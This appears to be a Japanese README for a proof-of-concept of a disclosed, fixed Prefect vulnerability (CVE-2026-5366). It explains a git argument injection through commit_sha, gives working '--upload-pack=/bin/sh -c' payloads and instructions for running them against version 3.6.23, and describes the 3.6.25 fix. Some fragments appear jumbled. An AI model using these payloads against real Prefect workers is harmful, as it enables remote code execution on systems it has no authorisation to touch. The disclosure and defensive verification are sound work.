
CVE-2026-5366 の PoC: Prefect の GitRepository における git 引数インジェクションにより、ワーカー上で RCE が発生します。
commit_sha を介した RCE につながる git 引数インジェクション(directories を介した引数インジェクションもあり)src/prefect/runner/storage.pyこれは、すでに公開・修正済みの脆弱性(Prefect 3.6.25 で修正)に対する概念実証であり、教育と防御的な検証のために公開されています。 自分が所有しているか、テストを許可されているソフトウェアとシステムに対してのみ実行してください。 Prefect を運用している場合は、3.6.25 以降にアップグレードしてください。
| ファイル | 目的 |
|---|---|
poc.py | 脆弱なインストール環境に対して両方のインジェクションベクターを実行し、どちらがコード実行につながるかを報告する |
run_offline.sh | ネットワーク不要のランナー: ローカルの file:// リポジトリを構築し、それに対して poc.py を実行する(RCE の発火を確実に確認できる方法) |
src/prefect/runner/storage.py 内:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
インジェクションポイント(3.6.23 の行番号):
commit_sha:
pull_code() 〜379: ["git", "fetch", "origin", self._commit_sha]pull_code() 〜391: ["git", "checkout", self._commit_sha]_clone_repo() 〜475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() 〜480: ["git", "checkout", self._commit_sha]directories:
pull_code() 〜360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() 〜489:
( セパレータなし)commit_sha 経路では、--upload-pack=<program> は git fetch/git checkout によって、その接続で実行するパックプログラムとして解釈されます。そのため、ワーカーマシン上でローカルにそのプログラムが実行されます。これはエンドツーエンドで検証済みです(後述の「検証結果」を参照)。
directories 経路は正真正銘の引数インジェクションですが、--upload-pack による RCE ベクターにはなりません。git sparse-checkout set は --upload-pack オプションを持たないローカルコマンドであり、ペイロードは未知のフラグとして拒否されるためです。この非対称性はアップストリームの修正にも反映されています。commit_sha は厳格に拒否される一方、-- で始まる directories のエントリは警告を出すだけです。
核となるのは、commit_sha ベクターに対する git 引数インジェクションのトリックです。
検証なし。3.6.23 では、commit_sha の値はそのまま保存され(storage.py:181)、branch/commit_sha の排他以外のチェックはありません。任意の文字列が受け入れられます。
それは git の引数位置に置かれます。Prefect がコードをプルするとき(pull_code() の後に _clone_repo())、その値は git の引数リストに配置されます:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
これは引数リスト(シェルなし)であるため、シェルインジェクションは発生しません。欠陥は、攻撃者が制御する値の前に -- セパレータがないことです。
--upload-pack は引数ではなくオプションとして解析されます。git は、-- セパレータが先行しない限り、- で始まるものをオプションとして扱います。ペイロード:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
は、次のコマンドになります:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program> は git fetch/clone/ls-remote の正当なオプションで、git がパックを提供するために実行するプログラムを指定します。リモートがローカル(file://)の場合、または SSH/ローカル転送で到達する場合、git はそのプログラムをローカルマシン上で実行します。
git-upload-pack ヘルパーの代わりに /bin/sh -c '...' を起動するため、攻撃者のコマンドは Prefect ワーカー上で実行されます。その後 git は失敗します(sh は git プロトコルを話せません)が、副作用(コード実行)はすでに発生しています。そのため、この PoC は結果として生じる例外を無視し、マーカーファイルの存在のみをチェックします。テスト前のクリーンアップが重要な理由。宛先にすでに .git がある場合、Prefect は「既存リポジトリを更新」パスを取ります。それを削除すると、最も直接的な fetch origin <value> + checkout <value> 呼び出しを含む完全な _clone_repo() パスが強制され、最良のインジェクションサイトになります。
directories が RCE を与えない理由。その値は git sparse-checkout set <value> に渡されます。これは --upload-pack オプションを持たないローカルコマンドであるため、git はペイロードを未知のフラグとして拒否します。それでも正真正銘の引数インジェクションですが、このペイロードでは RCE ベクターにはなりません。
修正(3.6.25)。commit_sha は ^[0-9a-fA-F]{4,64}$ に一致する必要があり、--upload-pack=... ペイロードは構築時に ValueError: Invalid commit SHA で拒否されます。directories については、修正により git コマンドに -- セパレータが追加され(値がオプションとして読み取られることがなくなる)、警告も追加されます。
prefect==3.6.23 をインストールするGitRepository(..., commit_sha=..., directories=...).pull_code() でトリガーするcommit_sha が GitRepository(...) の構築時に拒否されることを確認するpython -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
または、正確な脆弱タグのソースから:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
信頼性が高く、自己完結型の方法(ローカルの file:// リポジトリを構築し、両方のベクターを実行):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
poc.py を直接実行することもできます:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
重要: git は --upload-pack をローカル転送と ssh 転送でのみ尊重します。デフォルトの https リモートに対してはペイロードは無効であるため、脆弱な 3.6.23 でも python poc.py はマーカーを報告しません。実際に RCE が発火するのを見るには、run_offline.sh(または file:// / ssh の POC_TARGET_REPO)を使用してください。
このスクリプトは、各ベクターの前に積極的なクリーンアップ(force_clean_destination)を行うため、確実にクローンパス(_clone_repo)に到達します。このパスは次のことを実行します:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
これらは、fetch / checkout および sparse-checkout set 内の生の引数位置に到達します。
Python 3.12 上で、完全にオフライン(run_offline.sh によるローカル file:// ベアリポジトリ)でエンドツーエンドに再現しました:
脆弱な実行で観測されたマーカー内容:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
修正済みインストールでは、git が実行される前に、悪意のあるオブジェクトの構築が失敗します:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
-- で始まる directories エントリは警告を発するだけです(実際の保護は git コマンドに追加された -- セパレータです)。
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6d責任を持って(もちろん !!! :PpPPpp)自分が管理するシステムに対してのみ使用してください :-)
["git", "sparse-checkout", "set", *self._directories]--| バージョン | commit_sha | directories |
|---|
| 3.6.23(脆弱) | RCE 達成: git fetch origin <payload> の実行中にマーカーファイルが書き込まれる | マーカーなし: sparse-checkout set が --upload-pack フラグを拒否 |
| 3.6.25(修正済み) | 無効化: GitRepository(...) の構築時に ValueError: Invalid commit SHA ... | マーカーなし: -- セパレータ + 警告 |